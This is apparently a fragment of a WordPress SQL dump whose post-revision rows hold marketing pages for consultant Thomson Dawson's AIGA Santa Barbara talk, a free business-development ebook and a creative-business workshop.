(1888, 2, '2012-01-23 11:05:36', '2012-01-23 18:05:36', '<a title="Thomson Dawson speaks to the AIGA Santa Barbara" href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1883" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2012/01/thomson.jpg" alt="" width="495" height="278" /></a>\r\n<h1><span style="color: #808080;">In an era of abundant choice, every entrepreneur must differentiate their value proposition from the slush pile of competitors. I''m delighted to share some ideas for creating competitive advantage in your creative business.</span></h1>\r\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\r\n\r\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business. You can also download my FREE booklet on the subject <a title="FREE Booklet" href="http://whc.fbdev.org/hot-info/" target="_blank">here</a>.\r\n\r\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Creative Business', 0, '', 'inherit', 'open', 'open', '', '1880-revision-7', '', '', '2012-01-23 11:05:36', '2012-01-23 18:05:36', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-revision-7/', 0, 'revision', '', 0),
(1889, 2, '2012-01-23 11:12:36', '2012-01-23 18:12:36', '', 'Thomson Dawson Video', 0, '', 'inherit', 'open', 'open', '', 'thomson-3', '', '', '2012-01-23 11:12:36', '2012-01-23 18:12:36', '', 1880, 'http://www.whitehotcenter.com/wp-content/uploads/2012/01/thomson1.jpg', 0, 'attachment', 'image/jpeg', 0),
(1890, 2, '2012-01-23 11:05:44', '2012-01-23 18:05:44', '<a title="Thomson Dawson speaks to the AIGA Santa Barbara" href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1883" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2012/01/thomson.jpg" alt="" width="495" height="278" /></a>\r\n<h1><span style="color: #808080;">In an era of abundant choice, every entrepreneur must differentiate their value proposition from the slush pile of competitors. I''m delighted to share some ideas for creating competitive advantage in your creative business.</span></h1>\r\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\r\n\r\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business. You can also download my FREE booklet on the subject <a title="FREE Booklet" href="http://whc.fbdev.org/hot-info/" target="_blank">here</a>.\r\n\r\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Creative Business', 0, '', 'inherit', 'open', 'open', '', '1880-revision-8', '', '', '2012-01-23 11:05:44', '2012-01-23 18:05:44', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-revision-8/', 0, 'revision', '', 0),
(1891, 2, '2012-01-23 11:16:30', '2012-01-23 18:16:30', '<a title="Six Strategies for Creating Competitive Advantage in Your Creative Business." href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1889" title="Thomson Dawson Video" src="http://whc.fbdev.org/wp-content/uploads/2012/01/thomson1.jpg" alt="" width="495" height="278" /></a>\r\n<h1><span style="color: #808080;">In an era of abundant choice, every entrepreneur must differentiate their value proposition from the slush pile of competitors. I''m delighted to share some ideas for creating competitive advantage in your creative business.</span></h1>\r\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\r\n\r\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business. You can also download my FREE booklet on the subject <a title="FREE Booklet" href="http://whc.fbdev.org/hot-info/" target="_blank">here</a>.\r\n\r\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Creative Business', 0, '', 'inherit', 'open', 'open', '', '1880-revision-9', '', '', '2012-01-23 11:16:30', '2012-01-23 18:16:30', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-revision-9/', 0, 'revision', '', 0),
(1892, 2, '2012-01-23 11:17:20', '2012-01-23 18:17:20', '<a title="Six Strategies for Creating Competitive Advantage in Your Creative Business." href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1889" title="Thomson Dawson Video" src="http://whc.fbdev.org/wp-content/uploads/2012/01/thomson1.jpg" alt="" width="495" height="278" /></a>\r\n<h1><span style="color: #808080;">In an era of abundant choice, every entrepreneur must differentiate their value proposition from the slush pile of competitors. In the above video, I''m delighted to share some ideas for creating competitive advantage in your creative business.</span></h1>\r\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\r\n\r\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business. You can also download my FREE booklet on the subject <a title="FREE Booklet" href="http://whc.fbdev.org/hot-info/" target="_blank">here</a>.\r\n\r\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Creative Business', 0, '', 'inherit', 'open', 'open', '', '1880-revision-10', '', '', '2012-01-23 11:17:20', '2012-01-23 18:17:20', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-revision-10/', 0, 'revision', '', 0);
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(1893, 2, '2012-01-23 11:17:33', '2012-01-23 18:17:33', '<a title="Six Strategies for Creating Competitive Advantage in Your Creative Business." href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1889" title="Thomson Dawson Video" src="http://whc.fbdev.org/wp-content/uploads/2012/01/thomson1.jpg" alt="" width="495" height="278" /></a>\r\n<h1><span style="color: #808080;">In an era of abundant choice, every entrepreneur must differentiate their value proposition from the slush pile of competitors. In the above video, I''m delighted to share some ideas for creating competitive advantage in your creative business.</span></h1>\r\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\r\n\r\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business. You can also download my FREE booklet on the subject <a title="FREE Booklet" href="http://whc.fbdev.org/hot-info/" target="_blank">here</a>.\r\n\r\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Creative Business', 0, '', 'inherit', 'open', 'open', '', '1880-revision-11', '', '', '2012-01-23 11:17:33', '2012-01-23 18:17:33', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-revision-11/', 0, 'revision', '', 0),
(1894, 2, '2012-01-23 11:20:51', '2012-01-23 18:20:51', '<a title="Six Strategies for Creating Competitive Advantage in Your Creative Business." href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1889" title="Thomson Dawson Video" src="http://whc.fbdev.org/wp-content/uploads/2012/01/thomson1.jpg" alt="" width="495" height="278" /></a>\r\n<h1><span style="color: #808080;">In an era of abundant choice, every entrepreneur must differentiate their value proposition from the slush pile of competitors. In the above video, you can learn some ideas useful for creating competitive advantage in your creative business.</span></h1>\r\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\r\n\r\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business. You can also download my FREE booklet on the subject <a title="FREE Booklet" href="http://whc.fbdev.org/hot-info/" target="_blank">here</a>.\r\n\r\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Creative Business', 0, '', 'inherit', 'open', 'open', '', '1880-revision-12', '', '', '2012-01-23 11:20:51', '2012-01-23 18:20:51', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-revision-12/', 0, 'revision', '', 0),
(1895, 2, '2012-01-23 11:21:35', '2012-01-23 18:21:35', '<a title="Six Strategies for Creating Competitive Advantage in Your Creative Business." href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1889" title="Thomson Dawson Video" src="http://whc.fbdev.org/wp-content/uploads/2012/01/thomson1.jpg" alt="" width="495" height="278" /></a>\r\n<h1><span style="color: #808080;">In an era of abundant choice, every entrepreneur must differentiate their value proposition from the slush pile of competitors. In the above video, you can learn some ideas useful for creating competitive advantage in your creative business.</span></h1>\r\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\r\n\r\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business. You can also download my FREE booklet on the subject <a title="FREE Booklet" href="http://whc.fbdev.org/hot-info/" target="_blank">here</a>.\r\n\r\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Creative Business', 0, '', 'inherit', 'open', 'open', '', '1880-revision-13', '', '', '2012-01-23 11:21:35', '2012-01-23 18:21:35', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-revision-13/', 0, 'revision', '', 0),
(1896, 2, '2012-01-23 11:24:06', '2012-01-23 18:24:06', '<a title="Six Strategies for Creating Competitive Advantage in Your Creative Business." href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1889" title="Thomson Dawson Video" src="http://whc.fbdev.org/wp-content/uploads/2012/01/thomson1.jpg" alt="" width="495" height="278" /></a>\n<h1><span style="color: #808080;">In an era of abundant choice, every entrepreneur must differentiate their value proposition from the slush pile of competitors. In the above video, you can learn some ideas useful for creating competitive advantage in your creative business.</span></h1>\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\n\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business. You can also download my FREE booklet on the subject <a title="FREE Booklet" href="http://whc.fbdev.org/hot-info/" target="_blank">here</a>.\n\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Creative Business', 0, '', 'inherit', 'open', 'open', '', '1880-autosave', '', '', '2012-01-23 11:24:06', '2012-01-23 18:24:06', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-autosave/', 0, 'revision', '', 0),
(1905, 2, '2012-01-23 18:15:24', '2012-01-24 01:15:24', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n\r\n<strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects.  Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong>\r\n\r\n<strong>In this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.</strong>\r\n\r\n<span style="color: #333333;"><strong>In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </strong></span>\r\n<h2><span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong><span style="color: #ff7f50;">Business Development Workshop</span></strong>\r\n<strong> <span style="color: #ff7f50;">Creating Competitive\r\nAdvantage in your Creative Business\r\nFacilitated by Thomson Dawson</span></strong></h2>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an email and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:15:24', '2012-01-24 01:15:24', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-88/', 0, 'revision', '', 0),
(1898, 2, '2011-06-30 14:38:42', '2011-06-30 21:38:42', '<span style="color: #808080;"> </span>\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a><span style="color: #333333;"><strong> </strong></span>\r\n\r\n<span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"> </span><span style="color: #808080;"> </span><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #808080;"><span style="color: #808080;"> </span><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://sallyhogshead.com/" target="_blank">www.sallyhogshead.com</a><a href="http://www.oddpodz.xom" target="_blank">\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2011-06-30 14:38:42', '2011-06-30 21:38:42', '', 145, 'http://www.whitehotcenter.com/2011/06/145-revision-81/', 0, 'revision', '', 0),
(1901, 2, '2012-01-23 18:09:50', '2012-01-24 01:09:50', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n\r\n<strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects.  Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong>\r\n\r\n<strong>In this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.</strong>\r\n\r\n<span style="color: #333333;"><strong>In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </strong></span>\r\n\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2><strong>Business Development Workshop\r\nCreating Competitive\r\nAdvantage in your Creative Business</strong><span style="color: #333333;"><strong></strong><strong>\r\nFacilitated by Thomson Dawson</strong></span></h2>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an email and we’ll get right back to you with information on how confirm your spot.<strong>\r\n</strong>\r\n<h2><strong><span style="color: #ff6600;">Check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://sallyhogshead.com/" target="_blank">www.sallyhogshead.com</a><a href="http://www.oddpodz.xom" target="_blank">\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:09:50', '2012-01-24 01:09:50', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-84/', 0, 'revision', '', 0),
(1900, 2, '2012-01-23 18:07:44', '2012-01-24 01:07:44', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n\r\n<strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects.  Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong>\r\n\r\n<strong>In this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.</strong>\r\n\r\n<span style="color: #333333;"><strong>In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </strong></span>\r\n\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2><strong>Business Development Workshop\r\nCreating Competitive Advantage in your Creative Business</strong><span style="color: #333333;"><strong></strong><strong>\r\nFacilitated by Thomson Dawson</strong></span></h2>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong><span style="color: #333333;">\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an email and we’ll get right back to you with information on how confirm your spot.<strong>\r\n</strong></span>\r\n<h2><strong><span style="color: #ff6600;">Check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://sallyhogshead.com/" target="_blank">www.sallyhogshead.com</a><a href="http://www.oddpodz.xom" target="_blank">\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:07:44', '2012-01-24 01:07:44', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-83/', 0, 'revision', '', 0),
(1899, 2, '2012-01-23 18:06:12', '2012-01-24 01:06:12', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n\r\n<strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects.  Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong>\r\n\r\n<strong>In this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.</strong>\r\n\r\n&nbsp;\r\n\r\n<span style="color: #333333;"><strong>In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </strong></span>\r\n\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2><strong>Business Development Workshop\r\nCreating Competitive Advantage in your Creative Business</strong><span style="color: #333333;"><strong></strong><strong>\r\nFacilitated by Thomson Dawson</strong></span></h2>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n<h2></h2>\r\nThis full-day strategic business development planning workshop is specifically tailored to business development issues faced by creative entrepreneurs and solo professionals who are providing creative products and services to business clients. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help you create more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success</strong>\r\n\r\n&nbsp;\r\n\r\n<strong>How to create a pipeline full of early-stage buyers</strong>\r\n\r\n&nbsp;\r\n\r\n<strong>How to develop higher value clients and business relationships</strong>\r\n\r\n&nbsp;\r\n\r\n<strong>To elevate their impact and influence with clients in the buying process</strong>\r\n\r\n&nbsp;\r\n\r\n<strong>How to make competitors irrelevant</strong>\r\n\r\n&nbsp;\r\n\r\n<strong>How to command premium fees for services</strong>\r\n\r\n&nbsp;\r\n\r\n<strong>To experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n<h2></h2>\r\n<span style="color: #333333;">This workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an email and we’ll get right back to you with information on how confirm your spot.<strong>\r\n</strong></span>\r\n<h2><strong><span style="color: #ff6600;">Check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://sallyhogshead.com/" target="_blank">www.sallyhogshead.com</a><a href="http://www.oddpodz.xom" target="_blank">\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:06:12', '2012-01-24 01:06:12', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-82/', 0, 'revision', '', 0),
